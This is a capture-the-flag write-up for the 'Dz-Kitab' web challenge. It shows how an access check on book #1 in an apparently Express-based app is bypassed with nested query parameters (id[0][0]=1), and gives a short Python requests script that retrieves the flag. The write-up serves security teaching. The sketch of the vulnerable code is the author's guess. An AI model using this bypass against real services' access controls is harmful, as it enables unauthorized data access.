CTF-Writeups

Dz-Kitab

CTF: Nexus Security CTF
Category: Web
Author: 0xsila
Flag: nexus{f4t_g3t++http_p4r4m3t3r_p0lut10n}


Challenge Description

i have an amazing team for my first semester project
one girl used cursor i think to help us
Tip: choose ur team carefully

Connection: http://ctf.nexus-security.club:3999


Reconnaissance

Visiting the main page shows a simple book listing application called “Dz-Kitab” (Arabic for “The Book”):

<h2>Dz-kitab is here,</h2>
<p>Click a book:</p>

<a class="book" href="/book?id=2">Book #2</a>
<a class="book" href="/book?id=3">Book #3</a>
<a class="book" href="/book?id=4">Book #4</a>

<!-- didicas l azooouauauaua-->
<!--Tip: choose ur team carfully -->

Notably, there’s no Book #1 displayed. Attempting to access it directly:

GET /book?id=1
Response: "Direct access to book #1 is forbidden!" (403)

The other books return JSON with title and content fields:

{"title":"Analyse 01 : les suite + les fonction","content":"les suite + les fonction."}

Analysis

Identifying the Technology Stack

Understanding the Filter

Testing revealed the filter logic:

Input Result
id=1 403 Forbidden
id=01 Book not found (bypasses filter, but no match)
id[0]=1 403 Forbidden
id[0]=1&id[1]=2 ✅ Returns Book #2
id[0]=2&id[1]=1 403 Forbidden

Key observations:

  1. The filter checks if id == "1" (exact string match)
  2. When id is an array, the filter checks the last element
  3. The application iterates through array elements and returns the last valid book

The Problem

Even with arrays like id[0]=1&id[1]=999 (where 999 doesn’t exist), we get “Book not found” instead of Book #1. This indicates there’s a secondary filter on the output that blocks Book #1 from being returned.


Exploitation

The Breakthrough: Nested Array Notation

Express’s qs parser supports nested object/array notation. Testing id[0][0]=1:

import requests
r = requests.get('http://ctf.nexus-security.club:3999/book?id[0][0]=1')
print(r.text)
{"title":"tari Book","content":"nexus{f4t_g3t++http_p4r4m3t3r_p0lut10n}"}

Why This Works

  1. Input Parsing: Express parses id[0][0]=1 as:
    req.query.id = { "0": { "0": "1" } }
    
  2. Filter Bypass: The filter checks id == "1", but now id is an object {"0":{"0":"1"}}, not the string "1". The comparison fails, and the filter passes.

  3. Application Logic: The vulnerable code likely does something like:
    // Simplified vulnerable code
    if (id == "1") return "Forbidden";  // Bypassed!
       
    // Internal lookup still finds book 1 through object traversal
    const book = books[id] || findBook(id);
    
  4. Object Coercion: When the nested object is used in the book lookup, JavaScript’s type coercion or the application’s custom logic still resolves it to book ID 1.

Solution Script

import requests

url = "http://ctf.nexus-security.club:3999/book"
params = "id[0][0]=1"

response = requests.get(f"{url}?{params}")
print(response.json())
# {'title': 'tari Book', 'content': 'nexus{f4t_g3t++http_p4r4m3t3r_p0lut10n}'}

Flag

nexus{f4t_g3t++http_p4r4m3t3r_p0lut10n}

References